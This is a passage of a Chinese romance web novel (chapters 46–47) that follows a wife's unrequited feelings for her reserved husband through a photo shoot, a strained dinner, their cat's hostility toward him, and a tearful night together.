黑色的眼眸中藏着一点雾气,那雾气已经被徐清聿狠狠揉碎,变成了不自知的妩媚与柔软。 最致命的,是她的双唇。 本该完美无瑕的唇妆被蹂躏,原整的唇线变得凌乱,鲜红的颜色微开,唇瓣愈发娇艳欲滴。 像是一朵被雨水打湿的玫瑰,凋零了一丝矜持,却显出致命的诱惑。 云听的手指不受控制地碰了碰红肿的唇瓣,肿胀和刺痛感清晰地传递到她的大脑。 她不该是这样的。 早知会如此,又何必去“挑衅”徐清聿? 十五分钟前。 因为身高差减小,她的目光所及之处,是徐清聿饱满的喉结,恰到好处地嵌入在他的脖部线条中。 看到凸起的一点,云听想起小时候和云闻一起看吸血鬼电影,吸血鬼不会对任何人的脖子有所怜悯,因为那是最容易征服的地方。 电影中优雅的贵族总是喜欢咬住猎物的脖子。 他们会毫不犹豫地咬下去,长长的獠牙刺入柔软的肌肤,疯狂又贪婪。 血液在咬合处溢出,溅洒在空气中,血腥与欲望的结合,这正是生命中最具诱惑的瞬间,然后他们再完完全全占据对方的生命与灵魂。 …… 徐清聿不管头顶上方有没有监控,不顾是否有人会拿着钥匙开门进来,就这么…… 云听恍若能听见自己内心愤怒的声音。 为什么?为什么每一次,她都不得不屈服在徐清聿的控制之下? 她想要宣泄,想要以某种方式发泄心中的不满,想要做点什么,给自己带来平衡。 云听本来只是想咬徐清聿一口,泄愤。 狠狠地、不留情地,在他的喉结上留下自己的印记,让他也尝尝被折磨的滋味。 可就在她探身的瞬间,她的理智还是占了上风。 不行。 喉结太脆弱了,咬上去也过于显眼。 云听的目光往下移。 她看见徐清聿的后颈,连着肩膀的那一块,肌肉结实,皮肤薄而白,隐藏在衣服领口边缘,像是为她特意留出的落脚点。 云听的眼神闪了闪,倏地倾身而上。 她先张开嘴,牙齿撞在徐清聿的皮肤上,蓄满了所有的不甘与愤怒,狠狠地咬了下去。 她用的力道很重,清晰的齿痕瞬间烙在他的皮肤上。 徐清聿的身体明显僵硬,下一秒,他低低地“嘶”了一声,像是被烫到了一样,喉间滚动了一下,但没有制止云听。 发泄够了,云听从他颈间离开,还没来得及迈出一步,腰间就被一只大掌扣住,猛地拉近,撞入一个炽热的怀抱。 徐清聿手掌灼热,透过衣料贴在她的腰侧,掌心的温度要渗透进她的皮肤里。 云听刚要挣扎,却被他抬起下巴,迫使她仰起脸,与他四目相对。 “既然口红已经……”徐清聿看着她,剩下的半截话不言而喻,“嗯?” 他目光沉沉地盯着云听,确认她的情绪之后,低头,狠狠地吻住了她。 徐清聿的气息铺天盖地笼罩住云听,他的唇碾压上来,唇齿交缠间,是一种克制到极致的压迫,是在惩罚,又是在索取。 牙齿磕碰到一起,有些生疼。 云听拼命挣扎,双脚乱蹬,高跟鞋的鞋跟在地面上划出尖锐的声响。 徐清聿的指尖顺着她的腰线收紧,将她困在怀里,让她无处可逃。 云听只能被动地承受着,所有的反抗与不甘,都被这个吻一点点融化,化作了一滩彻底的柔软。 徐清聿吻太深,太狠,甚至有些不顾后果。 云听感觉到自己的唇妆这下完全被蹂躏碎了,连带着厚厚的底妆,都被他吻得晕开了。 她不知道徐清聿吻了多久,直到他终于松开她。 * 云听刚走出卫生间,就看见了站在不远处的徐清聿。 他靠在墙边,双手插在裤兜里。 徐清聿站立的地方恰好是光线最充足的角落,灯光洒在他身上,精致的面孔宛如精心雕琢的艺术品。 在人群中,他的身形犹如标杆,任何人都难以忽略他的存在,路过的工作人员没有一个不打量他的。 几名不知情的工作人员低声讨论他是谁,哪里来的,有几人在猜测他是哪个顶级模特,因为他看起来实在太像一个经过锤炼的完美雕塑。 云听拉了拉肩膀上的大衣,朝徐清聿走去,把大衣还给他。 眼角瞥见徐清聿目不转睛地注视,云听没有停下脚步,反而故意低头不看他,冷静地别开视线。 徐清聿微微挑眉,看到云听从自己身旁擦肩而过,装作什么都没发生过一样。 他没动,目光一直跟随着她,直到她的背影快要消失在走廊尽头时,他才慢慢悠悠地迈开步子,跟了上去。 云听自然察觉到了徐清聿的脚步声,可她没有停下。 她不想搭理他。 徐清聿认出她了,但故意装作没认出。 明明是她和姐姐联手捉弄他的,可最后被耍得心烦意乱的人,却变成了她自己。 想到这,云听加速步伐,甩开身后的人。 徐清聿有意与她的速度保持一致。每当她迈出一步,徐清聿也迈出一步,她放缓速度,徐清聿也放缓速度,和她的节奏一模一样。 云听走得更快了些,可脚下的高跟鞋让她没法走得更快。 果然,没多久,徐清聿便轻松地追了上来,步伐平稳自如,没有追赶的急迫,悄无声息地接近她。 整个摄影棚里并没有人注意到他们的动静,所有人都沉浸在自己的讨论之中。 摄影师站在灯光架旁,正和几名工作人员交流着什么,手指指着电脑屏幕上的照片,一脸认真。 云听松了口气,至少暂时没有人催促她赶紧回到拍摄现场。 她刚回到化妆区,想着自己能不能挽救一下,被化妆师一眼瞄见。 云听只能硬着头皮走过去,在化妆椅上坐下。 化妆师不是Lisa,是另一个年轻的小姑娘,刚刚二十出头,但已经在化妆行业摸爬滚打了四五年。 她话不多,习惯了在安静中工作,手法一气呵成。 她默默地给云听补妆,看到云听的嘴唇略显肿胀,红润的部分比平时明显,应该刚被人吻过。 化妆师并没有多说什么,停下手中的动作,细心地调整角度,继续若无其事给她补妆。 这时,Lisa也进来了。 经过大半天相处,云听大致了解Lisa是什么样的性格,活力四射的一个女孩子,嘴巴像是机关枪一样,见人就笑,见到什么新鲜事儿总迫不及待地想要分享,完全没有那种距离感和拘谨。 和云闻的性格几乎一模一样,都很自来熟。 她看到云听的第一句话便是:“云听姐,你老公好辣。” “辣?”云听愣了愣,她还没听到过别人用“辣”来形容徐清聿,“什么叫‘辣’?” “就是这个!”Lisa一边说,一边点了点云听的嘴唇,“看你嘴巴都红了,肯定是被你老公亲的吧。唉,我说你们俩 真的太合适了,他冷酷,你温柔,就像是电视剧里那种永远都解不开的甜蜜纠葛。” 云听尴尬一笑。 “不过,说真的,你老公真是太帅了,就像从画报上走下来的,怎么看都看不够啊!”Lisa一边说,一边还调皮地竖了竖大拇指。 云闻也走了进来,手里放在唇边,正给对方发语音消息。 看到云听泛红的脸,就连粉底都遮不住,她不禁有几分疑惑:“听宝,你和聿哥发生什么了?” 云听摇头,准备敷衍过去,但她的话刚出口,云闻就察觉到了她的异样。 她的眼眸一闪,敏锐地捕捉到异常,立刻靠近了她,声音压得极低,八卦又好奇问:“诶,怎么回事?你脸怎么这么红?刚刚是不是……” 说罢,云闻眼中出现一抹诡谲的光芒,她揣摩到了什么,声音故意拉长:“你和聿哥,你们在卫生间接吻吗?” “……没有!”云听连忙否认,脸上的红潮不肯褪去。 云闻在她旁边坐下,勾勾小指让Lisa过来给她补妆,“我可是看得清清楚楚,你都快把自己憋成番茄了。” 她又“啧”了两声,“不用谢我,给你拖延时间是我应该做的。” 怪不得摄影师不催。 云听眼皮跳了一下,刚想摸鼻子,被化妆师制止了。 她朝化妆师不好意思笑了一下:“抱歉。” 等化妆师离开后,云听对云闻说:“姐,徐清聿早认出我们了。” 云闻的妆容向来讲究,即使经过一段时间的拍摄,也没有明显的瑕疵。她的肌肤很好,底妆持久得让人无法察觉到任何变化。 只是唇边有些轻微地脱落,眼尾的眼线略显淡了。 Lisa灵巧的手指在她的脸颊点过,唇部的修补也迅速完成,几笔简单的描画,让她原本清透的妆容再次焕发光彩。 短短几分钟后,Lisa满意地停下了手中的工具,抬头看向云闻,“好了,差不多了。” 云闻这才动嘴巴回应云听的话:“聿哥进来之后,我就留意到他的眼睛一直停在你身上,虽然他没说什么,但我能看出来。” 她一边照镜子一边继续说,“聿哥多聪明啊,怎么可能看不出我们俩的小把戏?” 云听:“……” 云闻心有余悸,“我刚差点以为聿哥生气了。” * 摄影师调整好了场地,第三组拍摄再次开始。 云听脚上仍然踩着那双让她举步维艰的高跟鞋。 她站在拍摄区中央,灯光打在她身上,映出她雪白的肌肤和流畅的线条。 可是,她站在那里,始终不自在。 尤其是,她总感觉到一道灼热的目光。 徐清聿就站在摄影棚的一侧,冷静地看着她。 可他的眼神,太过沉郁,太过锋利,如一道解不开枷锁,让她呼吸变得沉重。那目光里,藏着不满,藏着责备,还有一些她读不懂的深意。 “云听,看镜头,放松一点。”摄影师的声音响起。 云听回神,调整呼吸,逼自己进入状态。 可她还是无法放松,她的后背紧绷,脚下的步子也不稳,像是踩在一片随时可能坍塌的土地上。 她知道,自己的状态不好,比之前还要糟糕。 可她越是努力,越是难以进入状态。她的心思被巨大的压力紧紧缠绕住,眼前的灯光变得刺眼。 摄影机的快门声不断地提醒她,她的僵硬,她的局促,她的无措—— 尤其是,她能清楚地感受到徐清聿的目光仍然停留在她身上,像是要将她拆解开,吞入骨血。 云听的指尖发紧,连裙摆的布料都攥出了褶皱。 摄影师的耐心似乎渐渐被消磨掉了,他皱着眉,语气里多了一丝无奈:“云听,你太紧张了,完全进不去状态。” 云听闭上眼睛,深呼吸。 睁眼时,那道目光已经消失了。 环顾一周,徐清聿走了。 没有了徐清聿,云听总算慢慢进入状态。 随着摄影师按下最后一张快门,摄影棚内的灯光逐渐暗了下来,象征着这次拍摄正式结束。 云听终于从紧绷的状态中放松下来,长长地舒了一口气。 高跟鞋踩得很累,拍摄完成后,云听先去了更衣室,再去卸妆。 卸妆完成后,摄影师朝她走来,“辛苦了。你最后的表现很好,比我预想得还要出色。” 云听不好意思道:“谢谢。” 工作人员正在收拾器材,而负责服装的造型师走了过来,手里拿着一件黑色的短裙。 “云听,这件衣服送给你。”摄影师笑着说,“这是Velora品牌的最新款,还没有正式上市,这次品牌方特意提供给我们拍摄。” 云听有些惊讶:“送给我?” “对,品牌方原本是为你姐姐准备的,我刚才把原片发给她们的负责人,他们觉得你穿上后的效果很好,所以决定送给你。” 云听连忙摆手:“可是……这件衣服……。” 她知道这个牌子的衣服价值不菲,姐姐一直是品牌方的合作模特,这件裙子也是按照姐姐的风格挑选的,她怎么能轻易收下? 云闻站在一旁,闻言笑了笑,走上前拉住云听的手腕,“别那么客气,我这种类型的衣服有很多,送你了。” 云听犹豫地看着云闻:“可是……” “没有可是。”云闻轻轻推了推她,挑眉道,“再说我的就是你的。” 造型师也笑着附和:“是啊,而且你今天穿这件拍摄的效果真的很好,品牌方也很满意。” 云听见大家都这么说,没有再推辞,点了点头:“……那就谢谢了。” 造型师把裙子递到她手里。 身后有工作人员提议:“今天辛苦大家了,要不要一起去聚餐?” “好啊,我知道附近有家不错的餐厅。”另一名工作人员笑道。 大家纷纷响应,场面一下子热闹了起来。 “云听,你也一起去吧?”有人转头看向她,“大家都在,正好庆祝一下拍摄成功。” 云听还没回答,一旁的云闻已经揽住她的肩膀,调侃道:“她就不去了,她可是有更重要的事情。” 工作人员听后起哄:“哎?什么重要的事情?” “你们没看出来吗?”云闻眨了眨眼,故意压低声音,语气暧昧,“有人在等她呢。” 工作人员两两对视,露出一抹了然的笑容。 “那我们就不打扰了。” “走吧走吧,别耽误人家。” 云听被大家调侃得脸颊发烫,偏偏云闻还在一旁添油加醋:“行了,今晚就别住我这了,赶紧走吧,聿哥等你半天了。” 云听无奈地瞪了她一眼,抱着裙子快步朝摄影棚外走去。 * 云听和徐清聿的晚餐没有太多言语,两颗心沉默地并行。 她随便点了些菜肴,可没有心情去品味。 “你不饿?”终于,徐清聿开口,打破了长时间的沉默。 云听抬头看向他,摇头:“我还好。” “那就吃一点。”他眉眼间有一丝不易察觉的温和。 晚餐 无声无息地进行。 菜品端上来时,两人也只是简单地交流几句关于食物的口感,而后再次陷入沉默。 云听无法从徐清聿的神色中看出任何情绪。 她试图揣摩他的想法,但无从下手。 两人默契地没提两天前的事情。 吃完饭回家,云听推开门,Zephyr立刻从沙发上跳了下来,快速跑到她脚边,蹭着她的腿,无比的亲昵。 云听蹲下身,把布偶抱了起来,亲吻它的额头。 “你怎么这么粘人。”云听笑了,心里的一块大石头落了地。两天没见,布偶格外依赖她。 云闻家里瓶瓶罐罐太多了,稍不留神就会打碎,所以云听没有把Zephyr带走,而是把它留在这和徐清聿单独相处几天。 然而,接下来的情况让她傻眼。 Zephyr从她怀里跳下来,转头看向站在一旁的徐清聿,眼神变得警惕起来。 云听没有注意到Zephyr的变化,还在低声跟它说话,直到它突然发出了一声低沉的嘶嘶声,她才意识到不对。 平时Zephyr与徐清聿相处得不好不差,某些时候它还会主动爬上徐清聿的腿,靠在他的怀里打个小盹。 但这次,Zephyr的尾巴像刺一样竖了起来,浑身的毛发炸成了刺猬,眼睛直勾勾地盯着徐清聿,嘴巴张开,露出锋利的牙齿,像是随时准备扑上去一样。 “Zephyr?”云听一愣,“怎么了?” Zephyr的警惕没有减退,变得更加剧烈。它的小耳朵向后压着,紧张地龇牙咧嘴,整个小身子都变得僵硬。 不知道的人还以为徐清聿虐待它了。 云听看着徐清聿皱了皱眉,接着弯下身子,柔声安抚道:“Zephyr,不要怕,没事的。” 徐清聿站得笔直,他看到布偶发作,没有表现出惊讶,淡淡地说道:“我没做什么。” “可是它从来不会……” “它从来不会怎样?”徐清聿气笑了,“云听,你认为我会伤害它吗?” 云听的心情再次被推向了高。潮,她当然不认为徐清聿会伤害布偶,但她无法解释布偶为什么会有如此反应,为什么它会对徐清聿产生如此强烈的敌意。 一人一猫,云听选择相信猫。 徐清聿心情不虞,转移话题:“云听,今天卫生间的事,你生气吗?” 云听的心里涌上一阵不适,语气坚定:“生气。” 她的话没有拖泥带水,简而明了。 她不喜欢公开场合的亲昵。 “我不喜欢那种感觉。”云听说出心里的话,声音委屈,“特别是那种……太刺激的感觉。我没办法接受。” 徐清聿走近,居高临下地看着她,眉宇间的烦躁清晰可见,“如果我喜欢呢?” 云听没太听清,“啊?” 徐清聿没有再看她,转过身自言自语,声音小到只有自己能听到,“真是病态啊。” 第46章 第四十六章 “云听,别哭了…”…… 徐清聿进了卧室, 留下云听抱着猫站在原地。 见他离开,布偶收起獠牙,温顺地舔起云听的手指。 云听心底升起一股说不清道不明的异样感。 徐清聿走过她身侧时, 呼吸压得极轻,浑身的锋利都被隐藏在沉默里,压抑却在不知不觉间渗透出来。 徐清聿到底怎么了? 比起情绪化的愤怒或冷淡,深埋在骨子里的安静, 更让人难以忽视。 云听想了想,抬脚跟了过去。 她伸手敲门,里面没有回应。 她顿了顿,索性直接推开门。 徐清聿站在床边,手搭在腰间的皮带, 正准备脱衣服洗澡。 听见开门声,他没回头,单手拽起衣领,将衣服从头上扯下来。 云听看到他露出的皮肤上布满了细细的红痕,肩膀、手臂像是被什么锋利的东西刮过。 伤口新旧交错, 有的还泛着淡淡的血痕,有的已经结痂。 云听晃了下神,提高嗓音,“徐清聿……你身上怎么回事?” 徐清聿看起来对这些伤口已经习以为常, 他把衣服丢进脏衣篓,望着云听怀里的猫, 嗓音淡淡的:“你走后它就这样了。” 云听心头一震,手臂下意识地收紧Zephyr。 她想到刚进门时,Zephyr看到徐清聿的第一反应——警惕、炸毛,龇牙咧嘴, 一副随时要扑过去撕咬的架势。 她明白了什么。 猫很聪明。 上次她和徐清聿“吵架”时,Zephyr就在旁边,看得一清二楚。第二天,它看见她离开,也看见徐清聿站在客厅里沉默不语的背影。 Zephyr不懂人类的复杂情绪,也不知道她是因为自己鼓足勇气告白后被“考虑”而难堪离开。 它只是凭借本能做出判断,它以为,是徐清聿逼走了自己。 所以Zephyr不喜欢徐清聿。这两天里,他会不断地攻击徐清聿,在他靠近时龇牙咧嘴,凶狠地扑上去抓咬。 云听脑海里出现徐清聿独自一人待在家的画面。 白天Zephyr有阿姨照顾,它对阿姨没有敌意,表现得很乖巧,等到徐清聿回家,阿姨离开,它就一改先前的温顺。 徐清聿不会照顾猫,也不会哄它,只能被动承受它的敌意,任由它发泄不满。 为什么是任由Zephyr发泄,因为徐清聿真的生气,真的受不了,会把它送走。可徐清聿非但没有把它关进笼子里,也没有扔出去,而是一声不吭地忍了下来。 云听心里翻涌着复杂的情绪,说不清是愧疚还是别的,只觉得喉咙发紧,嘴巴张了张,静默半天才蹦出几个字:“……它误会你了。” 她后悔没有把Zephyr一起带走,自从养猫之后,Zephyr一直在给徐清聿添麻烦,云听愧疚道歉,“徐清聿,对不起……” “我不想听对不起。”徐清聿抬手揉了揉额角,随即转身往浴室走去,声音落下, “我要洗澡了。” 浴室的门被关上,水流声很快响起,淹没了空气中的沉默。 云听不知道自己该做什么。 她要站在这里等他出来吗?她连自己今天该睡哪都不确定。 好像回到了结婚那天,一样的无措。 她和徐清聿表白已经过去了两天。 徐清聿没有答应,也没有拒绝,只说:“给我点时间。” 时间? 云听当然可以等。 可她等得越久,心里就越不安。 云听再理性,在感情方面,她也做不到不胡思乱想。 每次一个人待着的时候,没有得到答案的疑问就会涌上心头,越想越乱,越想越难过。 她会想,徐清聿如果喜欢她,为什么还会在她表白之后保持距离?他到底在犹豫什么? 徐清聿喜欢她,那天他就不会只是说一句“给我点时间”,然后像什么都没发生一样。 如果徐清聿不喜欢她,为什么不直接拒绝?为什么有时候她能从他的眼里看到宠溺和喜欢?为什么有时候他会对她说一些暧昧到极致的话。 徐清聿没有表态,他需要时间。 所以今晚,云听不知道该怎么和他单独相处。 Zephyr感受到云听悲伤的情绪,在她怀里动了动,云听偏头看它,Zephyr却转移目光,直勾勾盯着浴室的方向,耳朵立着,随时准备炸毛。 云听叹了口气,把它放到沙发上,自己坐在它旁边,双手环着膝盖,低着头,望着地板发呆。 她很失落。 徐清聿克制得太好,理智得让她绝望。 她偏偏喜欢上了徐清聿。 云听甚至觉得,这个“时间”,根本就不是考虑的时间,而是找一个缓冲的时间,让她慢慢死心。 “他不喜欢我吧。” 这个念头一冒出来,云听便感觉心脏一紧,胸口闷得发疼。 可她又不想承认,也不想和徐清聿离婚。 云听死死地按住膝盖,指尖收紧,直到指甲有些泛白,才用力地吸了口气,把那些快要涌出来的情绪压回去。 她觉得自己也该学学Zephyr,干脆一点,该躲就躲,该戒备就戒备,别再被徐清聿的态度搞得心绪起伏。 水声停了。 云听整个人又紧绷起来,她还没想好自己该摆出什么表情,浴室的门就被拉开了。 热气从门缝里涌出来,徐清聿穿着一件黑色的浴袍,领口有些松垮,露出精瘦的锁骨和被水汽浸润后的皮肤。 他一边擦着头发,一边往外走。 空气里只有Zephyr的叫声,它窝在云听怀里,谨慎地瞥徐清聿,尾巴在抖。 云听拍了拍她的脑袋,无意间瞥见猫碗里空空如也。 她叹了口气,推开卧室的门,打开储物柜,往碗里倒了一些猫粮,重新回到卧室。 进房 间时,徐清聿正背对着她,站在沙发旁,似乎是在找什么东西。 他的浴袍已经脱了,上半身。裸着,微湿的发梢垂落下来,顺着清晰的肩胛骨线条滑下,水滴落在肌肉线条分明的脊背上,随着动作滑动。 他的背很宽,腰线窄而紧实,肌肉收敛有力量感。 云听看得一愣。 ……她在看什么? 他们一起住了这么久,之前徐清聿换衣服的时候她又不是没见过,她已经看过很多次了。 再次看到他还能走不动道,她是不是太没出息了? 云听懊恼地收回视线,飞快地把门关上,骂了自己一句:“……真没出息。” 说完,不顾徐清聿在找什么,也不想帮忙找,她拿起衣服,径直朝卫生间走去。 不过,云听还是一步一回头,眼神不时地投向身后,生怕Zephyr又会从阴影中窜出来,咬徐清聿一口。 幸好这回,它真的在静静地吃着食物,没打算再对徐清聿下口。 云听一边刷牙,一边胡思乱想。 Zephyr会不会是半夜醒来,发现没有吃的,所以才气急败坏?徐清聿忘了给它补充粮食,惹得它心情不悦? 从浴室出来后,徐清聿已经穿好睡衣,他没有戴眼镜,凌乱的头发遮住了眼睛。云听问:“徐清聿……我今晚睡哪?” 徐清聿抬眼看她,他笑了声。 “你想睡哪?” 云听被问住了,她装作无所谓地别开眼:“你不是需要时间吗?” 徐清聿意味不明地看了她几秒,衡量过后他平静开口:“你要是想睡客房,也可以。” 云听心一沉。 徐清聿不想和她睡一起。 他没有直接说让她睡房间,而是反问她“你想睡哪”,然后再丢给她一句“你要是想睡客房也可以”。 云听抿唇,忍着心里的不舒服,笑了一下,语气轻飘飘的:“行啊,那我睡客房。” 说完,她抱起吃完饭的布偶,作势要离开。 下一秒,徐清聿伸手抓住了她的手腕。 云听抬眼看他,面无表情。 徐清聿的目光深沉,平直的嘴角下拉:“云听,别赌气。” 云听心里更难受了。 她是赌气吗? 她只是觉得,既然徐清聿不想和她有更进一步的关系,那她就后退一步,不要让自己看起来太被动。 可他说“你别赌气”的语气,却像是在责怪她。 她被这种情绪激得有点委屈,咬唇不说话。 “云听,你不是很聪明吗?”见她沉默,徐清聿松开她的手腕,“睡这,或者我们一起睡客房。” 云听没有动。 很聪明?徐清聿在讽刺她吗? 压抑很久的痛感在胸口发酵,云听自嘲地笑了笑,“我什么时候聪明过了?如果我真聪明,应该早早地远离你,早早地放下所有的幻想。” “最聪明的选择,应该是离开你,不再对你有任何期待。”她吸了吸鼻子,“但我偏偏做了最蠢的决定,嫁给了你。” 云听知道自己早该远离徐清聿,去过理智且独立的生活。 可她偏偏选择了最不理智的方式,选择了依赖、选择了执着,选择了嫁给一个永远不会真正属于她的人。 她发现自己越是靠近徐清聿,越是深入这段关系,越是无法自拔。 自己真是愚蠢至极,所有的选择,所有的坚持,最终都只是让自己更痛苦。 徐清聿的脸色一白,恐惧感席卷而来。 云听低头看自己被徐清聿握过的手腕,那里还残留一点温度。她忍不住问:“徐清聿,你到底在想什么?” 为什么徐清聿可以如此冷静,而她却被情感拉扯得失去控制,像是飘浮在空中的风筝,随时可能被切断线,不知道飞去哪儿。 徐清聿依旧没有作答,他伸出手,轻柔地捧住云听的脸,随后,俯身以一种近乎虔诚的姿态慢慢靠近云听。 他先是在云听的唇上落下蜻蜓点水的轻吻,柔软的唇瓣似羽毛般一触即离,惹得云听的心尖颤抖了一下。 紧接着,他再次覆上,这次吻得稍久一些,力度也加重,用自己的唇摩挲着她的。 云听挣扎着,无力地拍打徐清聿的肩膀。 徐清聿的吻愈发急切,舌尖轻缓地描绘着云听的唇线,云听不肯张嘴,徐清聿也有耐心,温柔地亲吻她,用唇含住她的下唇,轻咬吮吸。 慢慢地,他的吻从云听的下唇移到上唇,细致地亲吻她唇的轮廓,不放过任何一处柔软。 一只手从云听的脸颊滑到她的脑后,手指插入她的发丝间,另一只手则环住云听的腰,将她往自己怀里带了带。 云听始终没有张嘴,徐清聿不强求,啄吻着她的嘴角。 等到云听张嘴责骂他时,徐清聿的舌尖趁机探入,与她的舌尖纠缠在一起。 两人的舌尖相互追逐、嬉戏,引得云听喉咙间发出几声不自觉的嘤咛。 她反抗不了。 等到云听快要不能呼吸,徐清聿才从她的唇上移开,沿着她的脸颊、脖颈一路向上。到了脖颈处,他先是含住她的耳垂,用牙齿咬着,云听一阵战栗,她的身体后仰,将自己的脖颈更彻底地暴露在徐清聿的亲吻之下。 徐清聿又沿着脖颈的线条,一路吻下,时而轻啄,时而用舌尖舔舐,在她的肌肤上留下一串串炽热的痕迹。 云听的眼睛紧闭着,泄出一声呻。吟声,直到徐清聿再度吻上她的唇。 眼泪无声地滑落,浸湿了她的睫毛。她没有力气去抵抗,心中压抑已久的情感不停地冒泡翻滚。 她知道自己该感到知足,毕竟,这一刻,徐清聿在温柔地亲吻她,可是为什么她却觉得很痛苦? 自己明知道,在他们结婚之前,徐清聿从未真正喜欢过她,她只是他生命中一个合适的伴侣。 她早就清楚这一点。只要能每天看到徐清聿,能在他的世界里占有一席之地,哪怕只是平凡地并肩走过,她也已经很满足了。 但人是贪心的。当她第一次牵起徐清聿的手,她便想要更多,渴望着能够和徐清聿亲近得更深一些。 然后,他们接吻了,她又开始渴望更多,不仅仅是接吻,而是能够完全融入他的生活,能够拥有更亲密的关系。 然而,亲密之后,她的欲望并没有停止。 她开始想要得到更多的温暖,更多的关怀,她不再满足于现在的这种模糊的关系,她渴望徐清聿能够爱上她,渴望他能回馈她所有的付出和情感。 她已经不再满足于单纯的陪伴,已经不再满足于他偶尔的温柔,而是迫切地希望她能占据他内心的全部,能够成为他深爱的人。 强烈的渴望与心底的不安激烈碰撞,化作滚烫的泪水,不受控制地夺眶而出。 泪珠顺着云听细腻的脸颊滑落,滴落在两人紧贴的嘴唇上,带着一丝咸涩的苦意。 徐清聿察觉到云听异样,松开她,双手捧着她的脸,竟有些慌乱,拇指摩挲着她泛红的眼眶:“云听,怎么哭了?对不起,是我弄疼你了吗?” 云听什么话也没说,只有无声滴落的眼泪。 她不是脆弱的人。她一直以来都懂得如何掩饰情绪,如何在面对徐清聿时假装若无其事,如何在每一次失落时默默消化情绪,让自己迅速恢复如常。 她习惯了把所有的心事 藏在心里,不让任何人发现。 可是今天,她的眼泪却怎么都止不住,所有的委屈、难过、不甘心,一股脑地涌了出来。 她哭的是这么多年来的暗恋,是她在夜深人静时压抑着不敢倾诉的心事,是她在无数个失眠的夜里对自己的质问:到底要坚持多久,才能不喜欢徐清聿? 她哭的是她知道徐清聿不喜欢她,却还是义无反顾地爱了他那么多年;她哭的是她曾经以为只要靠近一点点就能得到回应,可是越靠近,越发现自己还是站在原地,还是隔着一道难以逾越的距离。 她的眼泪,是这些年来压抑的情绪的释放,是她一遍遍告诉自己“没关系”等到最后终于撑不住的崩溃。 云听哭得彻底,哭得放肆,呼吸断断续续,整个人被悲伤的情绪吞没。 徐清聿的心慌乱极了,他手足无措地看着她,伸手想擦去她的眼泪,可是眼泪太多,他根本擦不完,才抹掉一滴,下一滴又滑落下来。 他的喉咙发紧,心脏也揪得生疼,完全不知道该怎么办。他不擅长安慰人,更不知道怎么去安慰云听。 徐清聿吻着云听紧闭的双眼,一遍一遍地吻着,试图将滚烫的泪水全部抹去。 他的动作笨拙,有些急切,有些慌乱,可用尽所有的办法都无法阻止云听的眼泪落下。 “云听,别哭了”他低声重复,声音里带着一丝隐忍的心疼,“我错了,对不起……” 徐清聿一次次地吻掉她的泪水,一遍遍地轻声道歉。 “对不起……”他笨拙地将云听抱住,声音已经哑了,“你不喜欢的事,我不会再做了…” 云听哭得更凶了。 她越是感受到他的温柔,心里的委屈越发不可控制。徐清聿低声地道歉,他一遍遍的亲吻,他的手掌落在她肩膀上的温度,都让她的心防彻底崩溃了。 她不应该和徐清聿回来的。 第47章 第四十七章 噩梦 云听哭了很久, 眼尾红得厉害,像是被风吹落的桃花瓣,薄薄的一片, 脆弱得一碰就会碎。 她的鼻尖也是红的,小半张脸埋在被子里,时不时地抽噎。 徐清聿坐在床边,低头看她, 保持几分钟前的姿势,一动不动。 Zephyr则伸了个懒腰,大摇大摆钻进被窝,找了个暖和的位置睡觉。 房间没有开太亮的灯,昏黄的壁灯洒在云听脸上, 映出她柔和的轮廓,也映出她哭得泛红的鼻尖和眼尾。 徐清聿不知道自己坐了多久,可能是十分钟,也可能是一小时,两小时。他没有睡意, 也没有动过离开的念头,只是静静地看着云听,想自欺欺人的从她平缓的呼吸里找到丝缕的安心。 时间一分一秒过去,云听眉心不再紧皱, 睡得比刚才安稳很多。 可眼角的红还没褪,有几簇睫毛沾着泪水, 湿漉漉地贴在眼睑上。 徐清聿伸出手,指尖停在云听眼角上方,隔着一点距离,没敢真的碰上去。 他想替她擦掉湿意, 可怕吵醒她,最终还是收回了手指。 放在一边的手机一直忽明忽暗,徐清聿没有理会,任由屏幕光闪烁,直到手机铃声划破安静。 睡梦中的云听听到铃声,把整张脸埋进被窝,留下几缕乱糟糟的发丝。 徐清聿拿起手机,看到来电备注的是“姐”。 他犹豫了下,接通电话,轻手轻脚地站起身,走向卫生间。 关上卫生间的门,徐清聿听到云闻焦急的声音:“听宝,你还好吗?不知道为什么,我今天很难受,心脏很疼……” “你和聿哥没出什么事吧?” “听宝,你怎么不说话?” “听宝?你在听吗?” “云闻,是我。”半晌,徐清聿回应,“云听已经睡了。” 云闻没想到接电话的是徐清聿,沉默持续几秒钟,随后她的声音再次传过来,她半信半疑问:“真的没事吗?你们……真的没发生什么吗?” 浴室里的光线微弱,空间也显得狭窄。 徐清聿极力想掩饰,但心底的自责让他无法忍受。他咬紧牙关,压下情绪,“先挂了。” 他简短地说完,没有再给云闻说话的机会。 尽管科学上没有确凿的证据表明双胞胎之间存在超自然的心灵感应。但许多双胞胎兄弟姐妹都有过类似的经历,当一方情感上发生了重大变化,另一方也会感同身受。 就像现在,云闻感受到了云听内心的痛苦与不安,而痛苦的根源,恰恰是因为他。 徐清聿的心被沉重的罪恶感压得喘不过气来。 他把云听的手机开成静音,重新回到房间,放回原位。 余光瞥见云听蜷起的手指无力地垂在被褥外。 她的指腹残留一点淡淡的红痕,那是刚才抓着他的手时掐出来的。 她哭得狠了,死死抓住他的手不肯松开,力道大的时候,徐清聿能感觉到她的指甲嵌进了自己皮肤里。 等云听哭够了,耗尽力气才松开手,睫毛一颤一颤地,在泪水过后的沉寂中疲惫入睡。 徐清聿握住云听冰凉的手,将她的手放进被窝里。 夜渐渐深了,徐清聿手撑着额头,疲惫又清醒。他的脑子很乱,乱得理不出一丝头绪。 他不觉得困,或者说,他根本没有让自己去思考困倦这件事。 天色微亮的时候,徐清聿才稍微回过神,扭头看了一眼窗外。 窗帘没有拉严,晨曦透进来,将房间里的光影拉得很长。 徐清聿捏了捏眉心,准备起身去拉窗帘时,云听醒了。 云听的眼神从迷离到清醒,不过短短几秒。 徐清聿还坐在那里,他的手放在鼻梁处,表情没有什么变化,只是眼睛里布满了细密的血丝,眼神光也被吞噬,浑浊不清。 夜色已经褪去,可他没有离开,像是一座沉默的雕像,眼底的青色告诉云听他一夜未眠。 云听指甲抵在掌心,眼睛和唇干涩得厉害。 她一整晚都在做梦,梦境断断续续,像是一部残缺的老电影,时光交错,忽远忽近,时而清晰,时而模糊。 她梦到了很多事情。 梦到了她见到徐清聿的第一天。 梦境是明亮的,有阳光的温度,可紧接着,画面倏地一变,夜色袭来,场景变得混沌不清。 云听的意识也跟着沉浮,被迫走进下一个梦境。 她梦到过去和徐清聿的点点滴滴。 梦境不断变换,最后,画面定格在一个阴沉的夜晚。 